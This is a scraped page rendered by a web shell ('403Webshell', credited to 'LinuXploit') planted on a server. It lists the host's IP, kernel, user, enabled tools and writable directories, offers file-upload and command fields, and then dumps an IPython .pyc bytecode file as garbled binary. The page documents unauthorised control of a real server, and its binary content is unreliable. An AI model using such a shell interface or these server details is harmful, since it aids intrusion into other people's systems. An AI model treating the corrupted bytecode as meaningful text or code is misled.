403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/IPython/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/IPython/utils/__pycache__/tokenutil.cpython-312.pyc
�

}�e����dZddlmZddlmZddlmZddlZddlmZddl	m
Z
mZedgd	��Zd
�Z
	ddee
efd�Zdd
�Zddedefd�Zy)zToken-related utilities�)�
namedtuple)�StringIO)�	iskeywordN)�	TokenInfo)�List�Optional�Token)�token�text�start�end�linec#�|K�	tj|�D]}|���y#tj$rYywxYw�w)z'wrap generate_tkens to catch EOF errorsN)�tokenize�generate_tokens�
TokenError)�readliner
s  �9/usr/lib/python3/dist-packages/IPython/utils/tokenutil.pyrrsA������-�-�h�7�	�E��K�	��������s�<�#�<�9�<�9�<�extra_errors_to_catchc#���	K�gd�}|�t|t�sJ�||xsgz}g}	tj|�D]}|j	|�|���y#tj
$r��	t
�	fd�|D��rh|r6|djd|djdf}|}|dj}ndx}}d}tjtjd|||���n�Yd�	�	yd�	�	wwxYw�w)N)zunterminated string literalzinvalid non-printable characterz!after line continuation characterc3�@�K�|]}|�jdv���y�w)rN)�args)�.0�error�excs  �r�	<genexpr>z/generate_tokens_catch_errors.<locals>.<genexpr>,s�����A��u������#�A�s����r)�r�)�
isinstance�listrr�appendr�anyrr
rr�
ERRORTOKEN)
rr�default_errors_to_catch�errors_to_catch�tokensr
rr
rrs
         @r�generate_tokens_catch_errorsr(s�������
!�(�J�7L�d�,S�S�S�-�1F�1L�"�M�O� �F���-�-�h�7�	�E��M�M�%� ��K�	�������A��A�A���r�
�(�(��+�V�B�Z�^�^�A�->�>�����b�z����$�$������$�$�X�%8�%8�"�e�S�$�O�O�
�
P���s/�$C5�/A�C5�C2�+A=C-�(C5�-C2�2C5c��d}|jd�}|D]2}|t|�z}|jd�s|dz
}||kDr||fS|}�4d}||fS)a�Return the line in a cell at a given cursor position

    Used for calling line-based APIs that don't support multi-line input, yet.

    Parameters
    ----------
    cell : str
        multiline block of text
    cursor_pos : integer
        the cursor position

    Returns
    -------
    (line, offset): (string, integer)
        The line with the current cursor, and the character offset of the start of the line.
    rT�
rr)�
splitlines�len�endswith)�cell�
cursor_pos�offset�linesr�next_offsets      r�line_at_cursorr3:s{��"�F��O�O�D�!�E�����s�4�y�(���}�}�T�"�
�1��K���#��
�&�>��������&�>��r.r/c�.�g}g}g}ddi}tt|�j�D�]�}t|�}|j\}}	|j
\}
}|
dz|vrN|jjd�}t||dz�D]!\}
}|
|vs�||
dz
t|�z||
<�#||}|	dk(r|dzn|}||	z|k\r�nD|jtjk(rt|j�sj|rL|rJ|djtjk(r*|djdk(r|d�d|j��|d<n�|j!|j�n�|jtjk(rj|jdk(r|r|j#d�|jdk(r|r|j!|d�n"|jdk(r|r|j#d�|j!|�||
|z|kDs���n|r|dS|r|dSy	)
avGet the token at a given cursor

    Used for introspection.

    Function calls are prioritized, so the token for the callable will be returned
    if the cursor is anywhere inside the call.

    Parameters
    ----------
    cell : str
        A block of Python code
    cursor_pos : int
        The location of the cursor in the block where the token should be found
    rrTr�.�=�(�)r)rrrr	rr
rr+�	enumerater,r
r�NAMErr�OPr"�pop)r.r/�namesr'�
call_names�offsets�tup�tok�
start_line�	start_col�end_line�end_colr1�linenorr0�boundarys                 r�token_at_cursorrI\s���E��F��J��!�f�G��x��~�6�6�7�)���S�k��!$�	�	��
�I��G�G���'��a�<�w�&��H�H�'�'��-�E� )�%��a�� @�
D������(�&-�f�Q�h�&7�#�d�)�&C�G�F�O�
D���$��%.�!�^�:��>����I���)�
��9�9��
�
�%�i����.A���F�2�J�$4�$4����$C��r�
���[^�H^�',�R�y�#�(�(�;��b�	����S�X�X�&�
�Y�Y�(�+�+�
%��x�x�3��5��	�	�"�
��x�x�3��5��!�!�%��)�,����S��Z����r�"��
�
�c���8��w�&��3��S)�V��"�~��	��R�y��r4)N)r)�__doc__�collectionsr�ior�keywordrrr�typingrrr	r�strr(r3�intrI�r4r�<module>rRsh���
#�����!�	�7�E�F���<@��%-�d�3�i�%8��>�DD�#�D�3�Dr4

Youez - 2016 - github.com/yon3zu
LinuXploit